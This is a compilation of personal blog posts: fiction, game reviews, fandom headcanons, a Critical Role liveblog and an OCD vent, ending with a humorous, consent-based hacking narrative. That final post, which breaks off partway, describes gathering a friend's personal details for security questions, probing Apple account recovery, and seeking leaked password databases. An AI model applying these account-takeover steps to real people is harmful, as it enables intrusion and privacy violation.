Slinking over to the area where her cousin had disappeared into the pit trap he'd avoided earlier, Ilandreline took a peek at her handiwork.  About two meters below the surface she stood on, he lay in a semi-crumpled heap, unconscious.  There was a length of sharpened wood -- many, really, but only one he'd managed to land on -- through the middle of his forearm.  Clear through, having slid between the bones and broken them in the process, by the look of things.  No wonder he hadn't screamed; he'd probably gone into shock before the landing had concussed him.

For a moment, she considered hopping in to help him.  Whether she meant help him live or into the next life, she couldn't decide, so she decided to pass on it altogether.  She'd been taught to never be indecisive about treatment.  Reason enough not to do any treating in this case.  What she did do was take his knife.  And break his bow, of course, because fuck him.

Having received the warm welcome she'd expected, Ila hurried off into the deeper territory, where Grandmother held more sway and people might think she should be taken alive.

[ramblingshit]

Some Video Game Ratings

> Heavy Rain - 2010 - 3.5/5

good enough gameplay, somewhat interesting story, nice twist, but the stupidest most unbelievable kids in all of history. Only a few emotional moments but otherwise pretty bland. Fun though. 

>Horizon Zero Dawn - 2017  - 4.5/5

fuckin awesome concept and execution, love the clothes options, love the progress from outcast to basically a fuckin goddess, that she’s a clone of Elisabeth, her finding her body at the end fuckin made me cry, it was beautiful and so realistic and grounded, everything felt like it could have truly happened, the ruins of the city they have no concept of, just bits of strange metal. The whole gaia program and the enemies being manipulated by the dark side of it. Love alloy, love the gameplay – stealth and otherwise, love the story, love the visuals. Boyyyyyy. Love this game. 

>Ratchet and Clank  - 2016 - 2/5

nostalgic and pretty fun, clean but dull visuals, fine voice acting, but very much a children’s game with very little depth to story or characterisation. Meh. 

>Until Dawn - 2015 - 4.5/5

fuck me another fantastic game, story was brilliant, twists and turns and people dying at any moment, visuals were great, acting was stellar, action and sneaky scenes were terrifying tryna hold that controller as still as possible, literally put it down at times to keep us from getting our jaw ripped off. Quick time events were fun and stressful. Was actually really fun to replay episodes to get achievements and all collectibles. Fkn love this game, Sam and Mike for the win, with Emily a close second, Matt and Chris are meh but Ashley can suck a fat one, like damn that chick was a fuck up. 

>Rise of the Tomb Raider - 2015 - 2/5

good visuals, kinda fun gameplay, only interesting scene where Lara shows any kind of characterisation is where she meets Jacob in the cells and their chat there. Otherwise #notmylara. She’s not even stoic and cold, she’s just blank. Her voice actress is shit, the story is like, not even there who cares. But hair and clothing is pretty g, as is seeing the bow get better.

>Batman: the Telltale series - 2016 - 3.5/5

boy this was pretty g, chilling smashing out quick time events, batman looked a bit odd and had too many expressions and it was a bit slow at times, but some options were sick, like impaling that dude in front of a newscrew. All exploded uphill when suddenly wayne was locked in Arkham and he met fkn ‘John Doe’ who was nice if a little off and sincerely eager to be Wayne’s bestie. I decided at that moment that at all times I would go along with my dude John. Some other uninteresting stuff happened, I beat Cobblepot as Bruce and then some other stuff happened like honestly story was unmemorable as fuck. But it was a fun enough time, especially with mr pre-joker hanging around whoop whoop. Also no one cares about Selina Kyle, just scrap her honestly. Actually good twist with vale being Arkham or whatever and wayne getting shot in the ear instead of letting Alfred get hurt, shout out to my bby Alfred. But otherwise it was decent game. 

>GoT: the Telltale series - 2014 - 2.5/5

only cared about Rodrick and whats her face in king’s landing. Other black cloak guy was forgettable, dude running around Dorne n meeting khaleesi even more so. Made kings landing girl good at the game, manipulating here and there, doing what she could to keep alive, keeping everyone at arms length. Had her accept whatshisface’s proposal and sacrifice her one loyal friend the coal boy to stay alive. Brutal, I loved it. Rodrick and getting him strong enough to fuck off the whitehills was sick, but tragically had him sacrifice himself for his dumbass little brother but tho I regret it I knew it was what the loyal family man would have done. But anyway visuals sucked ass, gameplay was telltale’s usual fuckery and there you go who gives a shit about the rest amirite. 

>Amnesia: the dark descent - 2010 - 4/5

good atmosphere, ambient lighting and sounds make you tense AF, stories pretty good, finding out that you were a piece of shit helping alexander torture people for his whatevers to power them before he had to kill a kid or a woman or something and decided he felt like shit and didn’t wanna do it anymore so took a forget potion to reset himself and hopefully work to stop what he helped alexander start. Also I think alexander was an alien but whatevs. Bad guys were scary at first but you soon realise that the majority of them patrol for a bit but if you wait long enough they literally just fuck off and youre free to do what you want its fully wack. Had fun, mechanics were cool, visuals were good for its time. It was hella dark so keeping enough oil for the lantern was enough. Most of the story was told in letters, which were badly read by the actors but you could just skip em so no real worries. A few puzzles and collecting shit here and there. In a solidly well done game. 

>Fallout: New Vegas - 2010 - 5/5

occasionally characters mention people/things that you didn’t or didn’t even have the option to, mention or ask about, had a lot of experiences with enemies warping through walls or getting stuck in the ground, crashes with fire effects, female models talking with male voices, game freezing on loading screens and having to restart entire system to get out of it. All of this is forgiven because fallout new vegas is a fucking gem – it is the epitome of a RPG, you can do and be almost anything you want. The customisation is awesome, the factions and faction clothes are fantastic. The karmas a bit iffy because my character is a kleptomaniac and stealing lowers your karma so I’m basically the Devil but everyone in the wasteland loves me? But again, I can forgive. I’ve played this multiple times and am still finding new quests or new ways to complete old quests; new places, new people to talk to etc etc. this game is beautiful, I love it. Closest thing to perfection you’re gonna find.

[reddeaddenial]

Hey i love your cowboy OCs! For the RDR2 Headcanon Prompts: 15 and 29!

SHIT THESE ARE GONNA GET LONG FORGIVE ME BUT ILU AND I LOVE GIVING BACKGROUND LORE

15. Biggest crime/heist/robbery ever committed?

All on their own with just the three of them? They robbed their daddy’s train lmao.

Like their Father is near close enough to Cornwall status in wealth. The man was moving into many other businesses aside from oil and cattle. The boys grew up watching the Saxton wealth grow and reach into other industries and were there when the opening ceremony for his first train came about. So naturally, they knew the routes, the carts, what was usually carried on it. So they planned, waited, and robbed the shit outa it lolSpecifically two cars that were full of documents about the other Saxton properties and factories, some bonds, a safe with a good chunk of cash that was being sent to the bank, And of course they robbed the passengers in the first class cars. It was a great run and it went down in papers as ‘Saxton train robbed by mysterious three lone outlaws. Possible work of Wolf of the West?’ They had their bandanas on and were usually working in the shadows on jobs so they had no name to all their known sins to the civilized world. And while they were in Edgar Wolf’s gang at this point in time, this robbery was all them. And Ed was damn proud of his boys. He didn’t pressure them to do this, in fact, it was mainly Nick getting fed up with the comments among the other members of the gang, saying how their ‘fancy high class’ blood couldn’t fit in to the outlaw life. So the trio proved em wrong >:3

29. Anyone they consider family that isn’t blood related?

Yep! As mentioned before, their old gang leader Edgar Wolf, became a mix of doting father/crazed uncle to them. A bit like Dutch in that sense, but the crazed bit was more of his lack of self preservation in dangerous situations and yet always coming out alive and on the higher ground. If the boys were any older, they were sure to have sprouted some gray hairs from it lmaoOld Ed was from a more traditional outlaw era. In 1890 when the boy’s first met him, he was hittin’ his 60’s and still playing the outlaw game. He was ‘laying low’ and in the same town as the brothers, and watched their amateur act trying to steal from saddle bags. They almost got caught but Ed made a bit of a scene, distracting enough folks so they got away. He hunted them down later easily enough and introduced himself. They were skeptical, but stressed from a year trying to live on their own. And Ed was an experienced outlaw, offering a home within his gang. So they took it, became part of the pack of the Wolf of the West. He saw potential in their stealth thieving and taught them himself, it was why their names or faces never made the wanted papers. Ed was a bit crazy and feral, but he was wise, paranoid and experienced. He told them of his dreams of freedom, the goal of heading to the northwest, to buy land and to live off it away from all the factories, smoke, and laws. His plan was to earn enough money to take him and his pack to that dream safely, with enough cash to spare to buy land and building supplies.

It was the perfect idea of freedom to the boys who had nothing of a life of prison in a gilded cage from before. Ed didn’t abuse their devotion though and nurtured their thirst to prove themselves. He taught them everything he knew, became a bit of proteges to him. And maybe that was why the rest of the pack tried to start tossing verbal blows at them until the boys proved themselves with the train robbery.

However, all good things do come to an end, and in early 1898, the worst had happened. They were all crossing the state border, running from yet another bank robbery. Ed commanded they split into three groups to confuse and lead the law off their tails. The boys would usually follow Ed but the man commanded them to stay to another group and went with only three others. From what they know of the papers and the drunken bragging of a lawman in the saloon later, Ed was cut off crossing the great river by twenty lawmen and he and his group were gunned down, their bodies floating down the river to be washed out to sea. The group panicked after the news. After some fighting and even a death over taking shares from the money, the pack officially split up.

Among the three of them, the boys nearly had enough cash to at least travel to the pacific northwest and buy a small cabin. But then they received a letter from their only blood family, the only ones their felt they could trust about their identities as outlaws. And this family suddenly needed help in Valentine. So they put their goals on hold and went to have a visit. Because you always help family, Ed taught them that. And Ed’s teachings have yet to let them down. ;p

hhhh i told u they would be long but man, it feels nice to let all that out and tell ppl more backstory haha thanks for giving me an excuse!

[readbythestarlight]

c2e28

“This flask is Taliesin’s new character” shut up Sam don’t mock us

They’re FINALLY going to go check out the Taskers and i swear if Taliesin’s character isn’t with them I’m gonna die

(unless this is all a trick and Taliesin is just hanging out until Molly can reasonably be brought back…)

Caleb stepping in and doing some strategizing both makes me proud and makes me sad because I guarantee he was great at that before Everything happened

Beau and Caleb disagreeing over a spider

“Shady Debaters Debate Team” I would wear that shirt

Nila wants to use her lighting let her fuck people up with her lightning draw people outside for her to fry please

Yes please get yourself some goddamn healing potions

YAAAAS NILA HAS HEALING WORDS

and good berries xD

GUYS I STILL LOVE HER SO MUCH I WOULD STILL DIE FOR HER

The Bone Orchard…ooooooo

Necromancers maybe?

Please go to the Taskers first I feel like Taliesin has to be with them

If people have been torturning Jester I’m gonna cry she’s too sweet for this

Nila’s smell bag is so cute y’all stop teasing her

“You are relying on me, I’m very happy” sHE’S SO PURE

Oh shiiiiit she just saved them from freaky forest ground monsters that’s my girl!

GRAVE SITE I’M TELLING YA ITS NECROMANCERS

Caleb getting tired of the debate and just heading over the gate

Not just carelessly flinging herself after him smh

Spooooooky place I don’t know how I feel about this

YAAAAAAAAS THEY FOUND HIM HOLY SHIT AHHHHHHHHHHHH OF COURSE HE LIVES IN A GODDAMN GRAVEYARD I SHOULD HAVE KNOWN HE IS THE ULTIMATE GOTH

HE’S A FIRBOLG???

“Caduceus Clay” AND HES A CLERIC GOD BLESS Jester will be delighted that she doesn’t have to do all the healing anymore

Caduceus seems delightful I’m delighted I MISSED YOU TALIESIN

fuck i love him already

he’s like the goddamn grave keeper TALIESIN COULD YOU HAVE GONE ANY MORE GOTH

B: “You’re drinking dead-people tea?”

Cad: “Aren’t we all?”

THE. ULTIMATE. GOTH.

…can’t bring Molly back. I’m not surprised at all given that it would be weird to bring his own character back, but still. That’s okay. It’s fine.

He just figured he’d sit there with his tea until someone came to help him leave lol

C: “Welcome to the Mighty Nein”

Cad: “There’s only, uh—“

B: “DON’T overthink it”

Nott shooting Beau to test Cad’s healing xD

FRUMPKIN NO DONT KILL HIM

fuuuuuuuck he dead

they needed him god dammit

HE’S ALIVE

ALIVE BY 1

I can’t decide if this is going to be a disaster, them going after them again right now, or???

LETS NOT SPLIT UP AT ALL EVEN JUST TO KILL TWO GUARDS

Taking off her armor is a horrible idea guys

Guest!Ashley has the cutest face and the purest laugh??? I love her

While we’re on break I’m trying to decide, is it weird that Taliesin chose to play a cleric when they already have a cleric? Part of me is like “what if he did that because he knew they were gonna need the temporary heals and he’s just gonna stick around as Cad until Jester is back and then he’s gonna rez Molly” and part of me is just like bfs girl Molly is gone let him go??

I don’t think I’ll be able to move on from Molly for sure though until the M9 move on from Shady Creek, with Cad tagging along.

Frumpkin the 3-HP spider

Not asking Cad questions nervously is adorable

Beau just sticking her face in the bag for the luck orb xD

Caleb: talks about breaking a guy’s skull

Nila: “excellent”

Poor Taliesin having to figure out a whole new character. He’d barely really figured out Molly yet.

20 for a perception check nice job Keg!

Sumalee accidentally meta gaming is honestly just cute enough that i don’t even care she could metagame all day and i’d be fine with it

HERE THEY GOOOOO

Matt looks so lost xD

FUCK ‘EM UUUUUUP TEAM BEAU/CALEB/NILA

FUCK ‘EM UUUUUUP TEAM KEG/NOTT/CAD

good rolls, good rolls…

YAAAAS GO KEG!

YAAAAAS NILA BASH HIM DO IT GIRL she’s been waiting to kill someone for so long

goddamn they handled that SO WELL LOOK AT THEM IM SO PROUD

“one was just enjoying the wind, and then darkness forever” Matt xD

Goddamn I can’t believe they pulled that off so well. Lorenzo better watch the fuck out.

Are we calling him Clay then because I liked Cad

Frumkpin the flying spider?? Methinks they all forgot Caleb made him a spider

Nila’s so excited to have like 32 gold she’s so cute you guys

Keg get another nat20 for stealth

okay… are they really unnoticed I’m nervous

B: “Look at the—look at the windows, too.”

Cad: “They’re nice.”

I love hiiiiiim

We can’t go get friends tho because they’re not HERE YET

Boy I can’t wait to see this map

Liam missing his rogue days hardcore right now lol

YAAAAS Taliesin with the nat20 deception I was so scared

“I’m gonna have an ulcer after this game” fucking SAME

Ashley and Sam holding hands like SAME god the stress

Also heck yeah we’re uncovering the maaaaap!

Liam is just very thoroughly uncovering the map

fuck don’t squish Frumpkin

“Hey Phil come help me kill this spider!”

Oh thank god good job poofing him out Caleb

I’m serous guys I love Caleb coming up with plans and leading the group in Fjord’s absence I love it

WAIT

YOU CANT SEND NOTT IN BY HERSELF

DONT DO THAT

FUCK

WE CANT AFFORD TO LOSE ANOTHER MEMBER OF THE GANG GUYS

NOT NOTT

Hey Caleb can you teach Nott the door unlocking spell?

Keg: “Nott. Be careful.”

Nott: “…Do you care about me?”

K: “…Yeah.”

N: *happy wiggle*

Fuck I don’t like this they were doing so well but this is going to be a disaster

A NAT1

FUUUUUUUUUCK

KILL THEM

fuck it was going so well god DAMMIT Caleb this was a BAD PLAN

God they’re not even all together I am literally so afraid right now

Yessss hasted Keg

fuckfuckfuck im literally so fucking scared right now

okay good they missed Not

FUCK ‘EM UP NILA

NO SAVE THE TOTEM FOR LORENZO

SAVE IT NILA

SAVE IT

poison spray yesss that sounds nice and 12pts damage good girl

poor Sam has such a hard time with his rogue skills

NOTT STOP RUNNING AHEAD

GOD Y’ALL DID MOLLY TEACH YOU NOTHING

fuck them up Keg

Yessssss kill him Keg my hero

Hasted Keg is the best man 4 attacks? She’s helping make up for a lack of Yasha

Keg getting between Nott and danger is so sweet I’m crying is she trying to make sure Molly does’t happen all over again

I would also die for Keg you guys

Sorry Phil you dead

BITCH HAS YASHA’S SWORD

FUCK HER UP

Wait until you get in the room above the trap door at least Nila

I adore her

PHIL DON’T YOU TOUCH NILA

yesssss he misses

NOTT

DONT FUCKING GO NEAR THE BARBARIAN

“IM THINKING OF REMOVING MY SPINE… CAUSE IT’S ONLY HOLDING ME BACK! :D”

holy shit Nott put her prone I’m crying I’m sorry I doubted you Nott

Fuck up the barbarian Keg yessss

Action surge means what what is that it’s cool

NAT20 YAAAAAS Keg is the BEST you guys

What I’m taking from this is that women name Ashley make the best lady characters and get the job done

why are you spending key points in non-combat when Lorenzo is still out there somewhere

Oh jeez are Cad or Nila close enough to heal Keg if she needs it??

DON’T TAKE AWAY HASTE

fuck

Liam and Matt gonna fight lol

Let Nila beat the door in

MOMMA POWERS ACTIVATE and she beats in the door HELL YEAH

Maybe she should have saved the totem for IN the trap door?

Sumalee is so concerned that she’s gonna make a mistake it’s cute

UH I KNOW IT’S A JOKE BUT YOU CAN TAKE TALIESIN’S NEW CHARACTER FROM MY COLD DEAD HANDS SOMEONE ELSE CAN DIE

Cad coming in with the heals heck yes

“A cleric who likes to heal! It’s amazing” LOL Sam. My thoughts exactly though

This isn’t going terrible but it isn’t going great and I’m worried about what they will have left when it comes time to face Lorenzo

YEAAAAAH HDYWTDT CALEB HECK YES somebody grab Yasha’s sword

also damn Caleb you get vicious with that fire

oh baby

please don’t freak again Molly isn’t here to forehead kiss you out of it

Aw first time he managed not to have issues

Maybe Lorenzo isn’t home… that would be great…

Or he’s downstairs…

Damn, Taliesin, that’s so amazingly morbid and fantastic. Just melting them away into fertilizer.

Nott apologizing for not being able to unlock the door and Caleb reassuring her that it’s not her fault. My heart.

Trapped door.

They are all getting silly xD

Oh god okay here we go

“I like pink better than purple” Liam how dare you

Manacles again ffs Matt

God a whole underground place

“He’s looking for green or blue or goth”

Fuuuuck they gotta get through at least 3 more??

And still no Lorenzo

fuck i don’t like thiiiiiiis

Lorenzo is absolutely in there. If he was upstairs he would have come down.

You’re assuming that there isn’t another way out that they could escape through and flank you

Matt’s like “I just got the downstairs map out guys”

Cad/Clay/Whatever like “let’s just?? ask??”

Oh no

stop him

“fucking Phil, ammiright?”

fuck this son of a bitch up

16 damage fuck him uppppp Nila!

fuck him uuuuup Keg!

fuck him up Clay!

fuck him up Nott!

Clay just… turning him into mulch I’m crying

Damn I’m so impressed they took care of that so well

fuck traps

PLEASE LET NILA’S BABY BE OKAY

Nila being such a mom is my favorite like I’m so here for the peaceful person who has never hurt anyone, but will fuck you UP for touching their loved ones

SOMEONE HEAL ASSAR

IM CRYING

MATT STOP IT

it’s fine I’m only crying a little

“be well. be well my son.”

I’m very much crying

Let her rip it open Matt let her do it

Okay Nila it’s okay let Nott try or Caleb then if Nott can’t

SAM stop with the 1s!!

SHES GOT HER FAMILY BACK AGAIN I CRYYYYYYY

the power of love is stronger than metal bars hell yes

“I love it when it works for the narrative!” lol Matt at his most DM-i-est

FAMILY HUG ITS FINE IM NOT CRYING

oh god I’m gonna miss Nila so much

WE LOVE YOU NILA I HOPE WE SEE YOU AGAIN SOME DAY

FIRBOLG HUG

I’ve cried way too much these past like idk 7 episodes

Nila is forever a member of the M9 y’all save that feather

it’s fine

it’s totally fine

How many members of the M9 are there now

Fjord Jester Caleb Nott Beau Molly Yasha, then Shakaste, Cali, Kiri, Keg, Nila, and now Clay.

God this was such a good episode.

Caduceus is great guys. He’s different enough from Molly not to make me heartsore, and I think he’ll bring a nice new dynamic? I’m not at all disappointed by him (not that I expected to be, I knew Taliesin wouldn’t let us down).

I’m gonna miss Nila so much. Like Marisha said, she was the softness the group needed.

I can’t believe Sumalee has never properly played before! That’s amazing! She was amazing! I hope I can be half that great at my first proper game!

And I’m so excited to see how it goes next week, live from GenCon! Excited to see how this section wraps up. It’s gonna be amazing.

[stillsolo]

for the first in a while, I'm gonna ... try to take it easy, today.  

I actually have a lot to do but I really need to chill the fuck out for a second and take a breather.  my OCD's made my life remarkably difficult lately and I've begun to disassociate in order to cope.  I know disassociation plays a key role in obsessive-compulsive disorders; I know my OCD's fairly severe and it's been getting worse as I get older, but I'm not...usually this bad.  Even when under stress.

for example, a batch of 200 commissioned banner icons suddenly turns into 400+, and I'm still not done because I can't stop keep remaking them.  

oh, this one's coloring is off. but these frames are split second to each other ... can't have that, gotta redo 'em. 

 wait, the pixels are...'weird' looking in the corner, here.  rejected.

this one could've been cropped way better.  how could I expect them to use this?

why is this one in the 'final version' folder when the border around it overlapped a part of the icon?

I need to redo these 73 because the shadow is too dark and blocky beneath the icon.  it’s supposed to be a fade.  it’s what they ordered and you’re not giving them what they asked for. 

someone's paying you for this shit get it TOGETHER

yesterday, my OCD got triggered about 3 times?  I have a couple of forms.  I had a breakdown in front of my mother after she came home and asked me if I ate and I know I must've made some kinda stupid face that gave it away because seconds after she'd asked, I realized I didn't know what the hell ate other than the toast she'd watched me eat before she left for work at 9am.  It was 11pm when she asked.  

I also had mini-breakdown while talking to my customer and it was terribly embarrassing.  I got a nosebleed to top it all off too lmao  ( i'm so sorry if you're reading this, john omfg you've been the best to me and I'm sorry because I'm sure all you'd wanted was icons to rp sdfkjsd )

but I just. 

All of my friends think OCD is just me having high ass standards or just being 'know-it-all'.  I've been called that all my life.  In fact, I've been called that by friends I thought would never say anything like that about me because I thought we were friends

We live in this new age of 'awkward is cute'.   It's hip to be square, cool to be uncool, and sexy to be nerdy and quirky.  and there isn’t any better way to declare your individuality and weirdness than branding yourself 'so OCD' about something.  

Ahaha.

I fucking loathe people who do this.

OCD isn't a quirk or a set of tendencies.  It's not fucking buzzf.eed list, not a little buzzf.eed quiz you can take and readily relate to the results; it's an incapacitating, isolating disease that makes you afraid of your own mind.

If my friends could see, just once, what it's like for me, when I'm caught in an obsessive-compulsive loop, maybe then they'd finally understand me when I say ''''it's bad''''.

Even Something as simple as drawing a line-art from a sketch turns into a complete and total nightmare.  8/10 times, I'll redraw the line-art like — hm, I don' dunno — about 7 fuckin' times in a row, then, delete all of it because IDK, it wasn't 'right'?  ( Who am i kidding; I do the same with sketches ヽ(・ω・)ﾉ  )

Oh, yeah, for sure.  Me and my ‘high fucking standards' did this.

NO.  No one in their right mind would do this.  They wouldn’t re-draw the same fucking drawing 7 times in a row and the same layer style over and over, not even changing things up to maybe get some progress.      Nobody.  Jfc.

And oh, god, that moment when you realize, it's been more than 8/9 hrs since you began and you haven't eaten or drank anything; you don't remember the last time you looked at your phone or what the hell happened to the time because last time you looked, it was 11am and now it’s 9:48pm.

Moreover, you made exactly zero progress on your project — because IDK — there’s no valid reason?  JUST COULDN'T STOP HA

I never thought I would talk about this, but uh, Y'all know how much I love han.  I want Han to be seen in the best light possible.  while SW has been one of the few things that have held a light in my life, he's helped me become a better person in more ways than I can articulate.  and no, I don't mean I suddenly started picking trash up off the highways.

I mean, by writing him in this amazing place filled with people I don’t have IRL who share my interests, I’ve met so many new people, friends, learned so many lessons, about characters and life and writing.  

When I began writing Han, here, I had just learned what present and past tense was in English.  I was winging my writing, trying really hard to understand.  English isn't my first language.  In Cantonese, my native language, there's no such thing as a past tense.  

By writing Han with you guys, I've taken huge steps in life, without even realizing it. 

So, everything I do for han, I want for it to be good.  

Not outstanding, and definitely not exemplary or nonpareil — just ... good. 

And icons — haha.  I love icons.  I love and hate making them.  similar to my writing, I work very hard on his icons.  ... but I need to learn where to draw the line.  

I once remade an icon 23 times before I was happy with it.  ( i had 23 versions left in my folder lmao ).  like these here?  10 versions of each, in the least. 

( the last one is kinda an exception... I think.  I made that one well over 25 times, for sure.  but I think it's because I'm not accustomed to Blaine's coloring yet. ) 

Wow, this really turned into a long post.  I don't really care, though.  My OCD is something that has always been completely ignored IRL.  Shit, it's ignored by even my online friends.  I can't even game online without one of them thinking I must get off on establishing my superiority and overall knowledge of '???’ game.  Haha.

'Show me your build?' :D 'Er...nah. I think I'll pass.' 'Why?  What's the matter?' 'You'll pick it apart.'

It's never considered 'advice' when it's from me.  It's me as a know-it-all, as someone who looks down on others for not having up-to-par stats. 

I'm sorry I did the math for you so you wouldn't have to.  This is simply advice you're free to toss aside, but it's not like it matters.  Even if I reassured that—you're already too annoyed to listen for any longer.

So, I’ll also apologize for how I can recall faction modifiers, body part modifiers, critical hit and stealth modifiers, as well as debuffs; how a certain amount of damage of one type turns into inflicted damage to a target while considering type modifiers and armor, and knowing the damage formulas needed to calculate the number of hit points required to kill an armored or unarmored target, with or without a finisher multiplier figured in — because I want you to do the very best with your weapon of choice, even though I can name 5 different weapons that utterly outclass it by tenfold. 

In reality, I never had much of choice.  Information like that doesn't stop looping in my mind, even at night, when all I want is to sleep.

Sometimes ... I wish I could be that one character on a comedy show who has a quirky disorder or ''OCD'' and everyone seems to love him for it because he's funny when he does it or he's generally helpful 

More often than not, my OCD just ruins everything.  I don't feel like I belong anywhere.

I need to take a breather.

[defaultnamehere]

Operation Luigi: How I hacked my friend without her noticing

This blog has moved! This post and other mistakes are now at https://mango.pdf.zone

Hello and welcome to a blog post. I am writing it and you are reading it. It's amazing what we can do with computers these days.

Several months ago

I'm at a ramen place with my friend Diana. Diana isn't her real name, but we're going to pretend it is because that's what all the cool journalists do and I wanna fit in too so don't ruin this for me okay.

I ask her if it would be okay for me to try and hack all her stuff. She's instantly visibly excited. I explain how this could result in me seeing everything she's ever put on a computer ever. She tells me she thinks this is going to be "so good". We lay down some rules:

I'll start some time in the next 12 months

No deleting anything she has

No disrupting her daily life

Stop asking if she's sure it's okay

Bonus rule from me: Do this entire thing in stealth mode. Don't ever let Diana know that I've started until it's too late.

I mean, obviously it worked since you and I are having this nice little textual discourse right now. Take my hand metaphorically, and I'll guide you through what I tried, my many flubs1, and how to protect yourself from what I did2.

And uh also at the end Mario's green friend is there.

Part 1: Research

"""Open Source Intelligence Gathering""""" AKA googling furiously and pretending you went to uni for this

Alright uh I'm pretty sure the first thing you do when you're hacking someone is find all their personal information. I'm talking about her email, phone number, address, star sign, whether she uses Android or Windows Phone, her birthday, and so on.

Jeez we're gonna need to know her email address aren't we?

People put lots of their information on LinkedIn (an information landscape that connects your inbox to people you met once in a bar and will forever file under "misc") because it tells them to.

The first thing I see on Diana's LinkedIn3 is her email address. I hastily put on my black hoodie and get my arms a bit stuck in the sleeves. Hacker voice I'm _in_4. Immediately I sigh and put my hands on my temples like a stressed-out banker. It's a @hotmail.com address, which surprises me since, well, who's using Hotmail in the year of our lord 2017? I mean geez if you used hotmail you'd miss out on gmail's excellent security features heyoooo

[x] email address [ ] the respect of my peers

Does she use this email for Twitter?

Yep.

How about her phone number?

I type a bunch of extremely clumsy things into Google. I'm talkin' "dianalastname@hotmail.com phone". A matrix of what looks like zeroes and ones but is actually Google search results flies down my screen at about the speed a normal person would scroll at.

There's a sign-up page for a club she started at her university. The page says "Contact Diana Lastname at dianalastname@hotmail.com or [her phone number]". pew pew got 'em.

[x] email [x] phone number [ ] the respect of my peers

Storing the goods

I paste all these things into a Google Doc - an advanced NSA hacking tool leaked in the recent Shadow Brokers incident.

While googling securely, I find an old blog of hers from 2009. It has a search box. I immediately slam "pet", "cat" and, "dog" in that search box like it's 2009. The name of someone's pet is often somehow involved in their security, either as their password or as a "Security""" question or something. I find the name of her dog from 2009 and vigorously paste it into my Google Doc.

Let's try getting into her iCloud account

Armed with my weapons-grade Google Doc, I'm ready to have a go at trying to get into something of Diana's5.

I don't really have a good reason for going after iCloud, so if you could just give me a break for one second

If I click "Forgot Apple ID?" on iCloud, by entering Diana's full name and email address, Apple tells me her Apple ID, and my screen permanently changes to green-on-black text to suit my new lifestyle.

I'm clicking around and there's a section called "account recovery". Sure, I'll have a go.

I can recover the account by clicking "I've uh lost my phone and forgot my password AND locked out of my email". Apple says "okay you colossal bozo, fine, but give us a phone number you CAN access, and we'll SMS you instructions to get back into your account". If I was in a movie doing ~crimes~ then I'd use a burner phone number. But since this is just my friend, I use my real phone number. I get an SMS from Apple being like "We received your request and will get back to you within 4 to 6 business millennia. Our Neo-Future Customer Service Representatives will contact your next-of-kin by whatever means of communication is prevalent at the time."

There's another "account recovery" option that says "use a device you already have". I click this, hoping to get a list of Diana's Apple devices. Instead it gives me this:

Daaaaaaaaaaaaaaaammmmit.

I have taken the wrong path in this text adventure game.

I've just notified Diana that someone's trying to reset her account.

For me that would set off all kinds of alarm bells and I'd start furiously investigating what's going on with all my accounts because I'm very cool and collected. But I'm just going to hope that Diana is a normal human being who is not obsessively paranoid like me and just ignores all of those pesky automated emails from Apple and Microsoft being like "blah blah account blah" or "blah blah new sign in blah" because I mean who really has time for those we've all got places to go and phones to scroll I mean reallY who's gonna pay attention to one liTtlE email when there's a whole OCEAN of low quality memes to scroll past on Facebook? I mean wouldn't you rather see some nice political memes? Newsfeed alert: Some guy from high school has just been tagged in- oh wow lOok this one's about your local government, wowee they've even managed to use the meme font while standing their ground and writing all the text as though it's a trying-to-sound-formal letter from your school principal who is still desperately trying to combat cyberbullying using nothing but stern words and beginning every sentence with "In regards to...."

There's no way for me to know if she saw the notification, so I stop rolling around on the floor whispering about low quality memes and get back to work.

Several days later

My phone rings. I can feel the vibration in my pocket and I'm like "is someone calling me here in the year of our lord 2017 I can't believe this". I don't recognise the number.

"Hello?"

"Hi, who am I talking to?"

"It's uh Alex."

"Alex?"

"Yeah."

"Alex ``?"

"Uh, noooo it's-"

"Ohhhhhhhhhhhhh."

"Wait so who am I talking to?"

It's Diana.

"What's up?", I ask.

She explains to me how she got an email from Apple about her account and there was a phone number in it. I tug my collar several meters into the next room, knocking over several carefully-potted indoor plants.

I hit pause on this whole thing, immediately own up, and say "yep, that was me, no need to worry, and I didn't get anywhere, your iCloud account is safe and s- WAIT a minute are you telling me you got an email from Apple saying someone tried to reset your account, realised it wasn't you, saw the phone number, and then CALLED it? What was your plan if some hacker answered??"

She didn't have a plan. She just called it as soon as she saw it, the absolutely off-the-rails lunatic.

We have a nice chat and agree to hang out later. She asks me if I've "hacked her already", and I say "no comment" to preserve my so-far flawless operational security.

Before I hang up, I wanna show off my work so far.

"Hey Diana, one more thing"

"Yeah?"

"Check it out. Did you ever play a game called........ Fashion Fantasy Beach?"6, I say, coolly and relatably.

Diana freaks out and starts laughing. She's forgotten about this game and me reminding her of her account brings back good memories.

"Can you like, find all the accounts I had on all those game websites?"

Sweet young Diana. If only it worked that way. Hacking can only be used for stealing government secrets and ransoming bitcoins. It's just not that simple.

"By the way, just checking, it's still okay for me to try and hack all your stuff right?" "SO okay"

Part 2: Hackinggggg

At this point I could reset Diana's password for some services by answering her "Security""" Questions with all the information I've gathered.

But, I realise, far too late and to the live studio audience's disappointment, that would violate the "don't interfere with her daily life" part of our deal. If I reset her password, this will lock her out of whatever account I reset. So, I have to get access stealthily. This will uh heavily involve knowing her password rather than resetting it.

For a long time I consider doing the renaissance-era "send 'em a word doc with a macro in it to get control of their computer then submit to defcon" but I worry that sweet young millennials like Diana don't even use Word because they do everything on their phone or Google Docs while simultaneously consuming 17.28 avocados per second look it up.7

I guess that makes the most valuable thing in her life her email. If you remember earlier, I cunningly divined her email address in Part 1, so I'm basically halfway there. If I get her email, I can just reset her password for Facebook, Twitter, Fashion Fantasy Beach, etc. My cyber attack vector cyber entry point exploit would then be typing the password into the Hotmail login screen using the Google Chrome Web Browsing Software.

The shady password market

Alright listen we're about to go into password paradise so buckle whatever it is you normally buckle. Hackers right, they hack websites. Hoo boy they just love to pop those hypertext pages. Like Dropbox, MySpace, LinkedIn, Adobe, Tumblr, and many, many more. They try to steal everyone's username and password from these sites by making a copy of the database and taking it. Sometimes, the database of usernames and passwords they steal gets released on the ~dark web~, for free or for money. Conveniently, there's a website (https://haveibeenpwned.com) which lets you type in your email address (not your password you big bozo) and find out whether any of your passwords have appeared in these leaked stolen databases.

But.... nowhere does it say you have to type in your email address. Cunningly, I type dianalastname@hotmail.com, executing hacking.

Here we can see a couple of websites Diana has accounts on have been hacked. The only one which had passwords stolen for Diana was Tumblr. So the next goal is to acquire the Tumblr database leak from 2013.

Let's get the old Tumblr database

